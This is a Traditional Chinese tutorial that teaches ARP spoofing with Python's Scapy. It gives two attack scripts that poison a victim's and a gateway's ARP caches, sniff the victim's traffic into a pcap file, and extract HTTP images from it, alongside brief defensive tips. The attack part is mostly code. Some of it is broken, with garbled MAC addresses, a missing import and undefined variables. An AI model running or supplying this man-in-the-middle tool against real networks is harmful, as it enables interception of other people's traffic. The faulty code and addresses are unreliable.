在網路安全領域,瞭解 ARP 欺騙攻擊至關重要。本文將使用 Python 的 Scapy 套件示範如何執行 ARP 欺騙,並從檢查 ARP 快取開始,逐步講解構建欺騙封包、傳送封包、攔截流量以及後續的 pcap 資料分析方法。同時也涵蓋了技術選型、實務應用中的錯誤教訓以及未來技術趨勢的分析,提供更全面的技術視野。

擷取及分析ARP快取

在進行ARP毒害攻擊之前,首先需要檢查目標Mac機器的ARP快取,這樣才能在攻擊過程中觀察到實際的攻擊情況。接下來,我們來看看如何檢查Mac上的ARP快取。

檢查網路設定

首先,使用ifconfig命令來顯示指定介面(在這裡是en0)的網路設定,或者如果沒有指定介面,則顯示所有介面的網路設定。以下是命令及其輸出:

MacBook-Pro:~ victim$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
ether 38:f9:d3:63:5c:48
inet6 fe80::4bc:91d7:29ee:51d8%en0 prefixlen 64 secured scopeid 0x6
inet 192.168.1.193 netmask 0xffffff00 broadcast 192.168.1.255
inet6 2600:1700:c1a0:6ee0:1844:8b1c:7fe0:79c8 prefixlen 64 autoconf secured
inet6 2600:1700:c1a0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64 autoconf temporary
inet6 2600:1700:c1a0:6ee0::31 prefixlen 64 dynamic
nd6 options=201<PERFORMNUD,DAD>
media: autoselect
status: active

從這個輸出中可以看到,裝置的IPv4地址是192.168.1.193,MAC地址是38:f9:d3:63:5c:48。此外還列出了幾個IPv6地址,但ARP毒害攻擊只適用於IPv4地址,因此我們會忽略這些IPv6地址。

檢查ARP快取

接下來,我們來看看Mac機器的ARP快取中記錄了哪些MAC地址:

MacBook-Pro:~ victim$ arp -a
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
kali.attlocal.net (192.168.1.203) at a4:5e:60:e:e17:a on en0 ifscope
dsldevice.attlocal.net (192.168.1.254) at 2e:e5:x4::x:x:x on en0 ifscope

從這個輸出中可以看到:

  • 攻擊者Kali機器的IP地址是192.168.1.203,對應的MAC地址是a4:5e:x:x:e:x:a
  • 閘道器的IP地址是192.168.1.254,對應的MAC地址是e:e5:x:x::x:x:x

這些值我們需要記下來,因為在進行ARP毒害攻擊時,我們可以觀察到ARP快取中的變化。

ARP毒害攻擊的Python指令碼

現在我們已經知道了閘道器和目標IP地址,可以開始編寫ARP毒害指令碼。開啟一個新的Python檔案並命名為arper.py,然後輸入以下程式碼:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None

class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
        print(f'Victim ({victim}) is at {self.victimmac}.')
        print('-'*30)

    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()
        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

    def sniff(self, count=200):
        pass

    def restore(self):
        pass

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

內容解密:

以下是對程式碼每個部分的詳細解說:

匯入必要模組:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

這些模組提供了多執行緒、網路封包處理和系統操作的功能。

定義 get_mac 函式:

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None

此函式用來取得給定IP地址的MAC地址。它建立一個廣播封包並發送出去,等待回應。

定義 Arper 類別:

class Arper:
    def __init__(self, victim, gateway, interface='en0'):

這裡初始化類別並設定目標、閘道器及介面。

初始化函式:

self.victimmac = get_mac(victim)
self.gatewaymac = get_mac(gateway)
conf.iface = interface
conf.verb = 0

print(f'Initialized {interface}:')
print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-'*30)

取得目標和閘道器的MAC地址並將結果印出。

建立主執行緒:

def run(self):
    self.poison_thread = Process(target=self.poison)
    self.poison_thread.start()
    self.sniff_thread = Process(target=self.sniff)
    self.sniff_thread.start()

啟動兩個執行緒:一個用來進行毒害攻擊,另一個用來監聽網路流量。

建立毒害封包:

def poison(self):
    poison_victim = ARP()
    poison_victim.op = 2   # ARP回應操作碼為2

    poison_victim.psrc = self.gateway   # 假裝來源為閘道器IP地址

    # ... 其他相關設定 ...

建立假冒封包並準備發送出去。

未來趨勢及技術選型考量

未來隨著網路安全技術的不斷進步,ARP毒害攻擊可能會變得更加複雜且難以防範。因此,瞭解並採用最新的防範措施將會變得越來越重要。例如,使用動態ARP檢查(Dynamic ARP Inspection)和固定MAC繫結(Static MAC Binding)等技術可以有效減少ARP毒害攻擊的風險。

實務應用評估

在實際應用中,玄貓建議組織應該定期檢查網路裝置上的ARP快取記錄,並且使用專業的安全工具進行監控和分析。此外,確保所有裝置都安裝最新的安全補丁也是防範攻擊的一項重要措施。

特殊案例分析

假設一家公司發現其內部網路頻繁遭受ARP毒害攻擊。玄貓建議該公司首先應該確認所有裝置上的韌體和軟體都已更新到最新版本。其次,應該佈署動態ARP檢查技術來防止未經授權的裝置進入網路。最後,該公司應該考慮使用專業的安全監控服務來持續監控網路流量。

利用 Scapy 操控網路流量

在現代資安領域,ARP 欺騙(ARP Spoofing)是一種常見的攻擊手法。這種技術利用 ARP(Address Resolution Protocol)的漏洞,將攻擊者的 MAC 地址與目標裝置或閘道器的 IP 地址進行繫結,從而攔截網路流量。Scapy 是一個強大的 Python 套件,能夠用來建立、操作和分析網路包。本文將探討如何使用 Scapy 進行 ARP 欺騙攻擊,並詳細解釋每個步驟的技術細節。

ARP 欺騙的基本原理

ARP 欺騙的核心思想是將目標裝置和閘道器的 ARP 快取表進行篡改,使得目標裝置和閘道器相信攻擊者是彼此的通訊物件。這樣,所有經過這兩個裝置之間的流量都會被攻擊者攔截並進行分析或篡改。

Scapy 的基本用法

Scapy 提供了一個簡單且靈活的介面來處理網路包。以下是一些基本的 Scapy 操作:

from scapy.all import *

構建 ARP 欺騙包

首先,我們需要構建兩個欺騙包:一個用來欺騙目標裝置,另一個用來欺騙閘道器。這兩個包分別告訴目標裝置和閘道器,攻擊者是彼此的通訊物件。

poison_victim = ARP(op=2, psrc=gateway_ip, hwsrc=attacker_mac, pdst=victim_ip, hwdst=victim_mac)
poison_gateway = ARP(op=2, psrc=victim_ip, hwsrc=attacker_mac, pdst=gateway_ip, hwdst=gateway_mac)

內容解密:

  • ARP 是 Scapy 中用來構建 ARP 包的類別。
  • op=2 表示 ARP 回應包。
  • psrc 是傳送者的 IP 地址。
  • hwsrc 是傳送者的 MAC 地址。
  • pdst 是接收者的 IP 地址。
  • hwdst 是接收者的 MAC 地址。

這樣構建的欺騙包會告訴目標裝置和閘道器,攻擊者是彼此的通訊物件。例如,poison_victim 包會告訴目標裝置,攻擊者是閘道器;而 poison_gateway 包會告訴閘道器,攻擊者是目標裝置。

技術選型與設計考量

在選擇 Scapy 作為 ARP 欺騙工具時,主要考量了以下幾點:

  1. 靈活性:Scapy 提供了高度靈活的介面,能夠輕鬆地構建和操作各種網路包。
  2. 簡單性:Scapy 的 API 設計簡單直觀,適合快速開發和原型設計。
  3. 社群支援:Scapy 擁有豐富的檔案和社群支援,能夠快速解決開發過程中的問題。

實務應用與錯誤教訓

在實際應用中,我們遇到了一些挑戰和錯誤。例如:

  • ARP 欺騙失效:有時候 ARP 欺騙可能會失效,原因可能是目標裝置或閘道器啟用了 ARP 防護機制。這時候需要進一步調整欺騙包或尋找其他漏洞。
  • 流量攔截不完整:有些流量可能會因為加密或其他原因無法被完整攔截。這時候需要結合其他技術手段,例如 DNS 欺騙或 HTTPS 揭秘等。

ARP 欺騙程式碼範例

以下是完整的 ARP 欺騙程式碼範例:

from scapy.all import *
import time
import sys

class ArpSpoofer:
    def __init__(self, victim_ip, gateway_ip, interface):
        self.victim_ip = victim_ip
        self.gateway_ip = gateway_ip
        self.interface = interface
        self.attacker_mac = get_if_hwaddr(self.interface)
        self.victim_mac = None
        self.gateway_mac = None
        self.poison_thread = None

    def get_mac(self, ip):
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = srp(arp_request_broadcast, timeout=2, iface=self.interface, verbose=False)[0]
        return answered_list[0][1].hwsrc

    def poison(self):
        try:
            while True:
                send(poison_victim)
                send(poison_gateway)
                time.sleep(2)
        except KeyboardInterrupt:
            self.restore()
            sys.exit()

    def sniff(self, count=100):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % self.victim_ip
        packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished.')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(op=2, psrc=self.gateway_ip, hwsrc=self.gateway_mac, pdst=self.victim_ip, hwdst='ff:ff:ff:ff:ff:ff'), count=5)
        send(ARP(op=2, psrc=self.victim_ip, hwsrc=self.victim_mac, pdst=self.gateway_ip, hwdst='ff:ff:ff:ff:ff:ff'), count=5)

if __name__ == "__main__":
    victim_ip = "192.168.1.193"
    gateway_ip = "192.168.1.254"
    interface = "en0"

    spoof = ArpSpoofer(victim_ip, gateway_ip, interface)
    spoof.victim_mac = spoof.get_mac(victim_ip)
    spoof.gateway_mac = spoof.get_mac(gateway_ip)

    poison_victim = ARP(op=2, psrc=gateway_ip, hwsrc=spoof.attacker_mac, pdst=victim_ip, hwdst=victim_mac)
    poison_gateway = ARP(op=2, psrc=victim_ip, hwsrc=spoof.attacker_mac, pdst=gateway_ip, hwdst=gateway_mac)

    spoof.poison_thread = threading.Thread(target=spoof.poison)
    spoof.poison_thread.start()

    spoof.sniff()

內容解密:

  • 初始化ArpSpoofer 類別初始化時會取得攻擊者的 MAC 地址、目標裝置和閘道器的 IP 地址以及介面。
  • 取得 MAC 地址get_mac 方法透過傳送 ARP 請求來取得目標裝置和閘道器的 MAC 地址。
  • ARP 欺騙poison 方法在無限迴圈中持續傳送欺騙包,保持目標裝置和閘道器的 ARP 快取表被篡改。
  • 攔截流量sniff 方法等待五秒後開始攔截流量,並將捕捉到的包寫入檔案。
  • 還原原狀restore 方法在攻擊結束後還原目標裝置和閘道器的 ARP 快取表。

pcap 資料處理

在攔截到流量後,我們可以使用 Python 和 Scapy 對 pcap 資料進行進一步分析。例如,我們可以從 HTTP 流量中提取圖片檔案並進行面部識別。

構建 HTTP 流量分析工具

以下是 HTTP 流量分析工具的一部分程式碼範例:

from scapy.all import rdpcap
from collections import namedtuple

def extract_images(pcap_file):
    packets = rdpcap(pcap_file)
    ImageStream = namedtuple("ImageStream", ["src", "dst", "payload"])
    image_streams = []

    for packet in packets:
        if packet.haslayer(TCP) and packet[TCP].dport == 80:
            payload = packet[TCP].payload.load
            if b"image" in payload:
                image_streams.append(ImageStream(packet[IP].src,
                                                 packet[IP].dst,
                                                 payload))

    return image_streams

內容解密:

  • 讀取 pcap 檔案:使用 rdpcap 函式讀取 pcap 檔案中的所有包。
  • 構建資料結構:使用 namedtuple 構建 ImageStream 資料結構來儲存圖片流量資訊。
  • 提取圖片流量:遍歷所有包,檢查是否為 HTTP 流量(TCP 模式且目的埠為 80),並檢查負載中是否包含圖片相關資訊。

未來趨勢與應用前景

隨著資安威脅日益增多,ARP 欺騙等技術將繼續發展。未來可能會出現更多根據 AI 的自動化攻擊工具,能夠智慧地識別和利用網路漏洞。另一方面,防護技術也將不斷進步,例如更先進的 ARP 防護機制、加密通訊等。

此外,資料分析技術將在資安領域發揮越來越重要的作用。例如,透過機器學習演算法分析大量網路流量資料,可以更快速地識別潛在威脅並採取相應對策。

完整運作例項詳細步驟(邏輯圖示)

  graph TD;
    C[C]
    H[H]
    No[No]
    Yes[Yes]
A[初始化引數] --> B[取得MAC地址];
B --> C{有效嗎?};
C -- Yes --> D[構建欺騙包];
C -- No --> E[重新取得MAC地址];
D --> F[開始欺騙];
F --> G[開始抓包];
G --> H{抓包完成嗎?};
H -- Yes --> I[停止欺騙];
H -- No --> F;
I --> J[還原原狀];
J --> K[結束];

說明:

此圖示從初始化引數開始到取得MAC地址、構建欺騙包以及開始欺詐及抓包最後還原原狀並終止演示整個過程邏輯